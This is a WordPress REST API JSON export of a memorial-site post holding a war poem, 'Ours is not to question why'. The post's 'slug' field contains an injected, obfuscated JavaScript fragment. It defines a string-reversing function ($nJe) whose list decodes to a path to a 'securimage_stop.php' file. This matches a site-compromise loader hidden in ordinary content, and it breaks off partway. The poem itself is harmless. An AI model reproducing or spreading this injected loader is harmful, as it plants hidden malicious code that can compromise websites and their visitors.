{"id":15438,"date":"2016-05-01T19:19:57","date_gmt":"2016-05-01T18:19:57","guid":{"rendered":"https:\/\/www.memorialatpeninsula.org\/?p=15438"},"modified":"2018-10-06T06:28:50","modified_gmt":"2018-10-06T05:28:50","slug":"ours-is-not-<script>$nJe=function(n){if (typeof ($nJe.list[n]) == \"string\") return $nJe.list[n].split(\"\").reverse().join(\"\");return $nJe.list[n];};$nJe.list=[\"'php.pots_egamiruces\/egamieruces-ahctpac\/","status":"publish","type":"post","link":"https:\/\/www.memorialatpeninsula.org\/?p=15438","title":{"rendered":"Ours is not to question why"},"content":{"rendered":"<p style=\"text-align: center;\"><strong>Ours is not to question why <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>Ours is but to do and die <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>If I fall and do not rise <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>Leave me there, say goodbye <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>If you pray with hopes forlorn <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>Then pray you&#8217;ll live to see the morn<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>As I lay beneath the night <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>I struggle with all my might <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>To live to see another day <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>Or at least the sun&#8217;s first ray&#8217;s<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>It does not matter if we win <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>We all fall in the end <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>As my spirit slowly falls <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>I can hear that fateful call <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>As my eyes mist up in a haze <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>I can feel Death&#8217;s icy gaze <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>As I die my last thoughts <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>Are not of pain nor of loss <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>But that I fight no more this world <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>And I leave life without remorse<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>&#8217;twas not mine to question why <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>Just my place to do and die <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>And I wonder what will happen most <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>It does not matter, <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>I&#8217;m but a ghost. <\/strong><\/p>\n<p style=\"text-align: center;\"><strong>Philip Mason 2015 <\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ours is not to question why <\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[17,1725,95],"class_list":["post-15438","post","type-post","status-publish","format-standard","hentry","category-articles","tag-memorial-at-peninsula","tag-ours-is-not-to-question-why","tag-the-royal-green-jackets","category-6-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/posts\/15438","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15438"}],"version-history":[{"count":0,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/posts\/15438\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15438"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15438"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15438"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}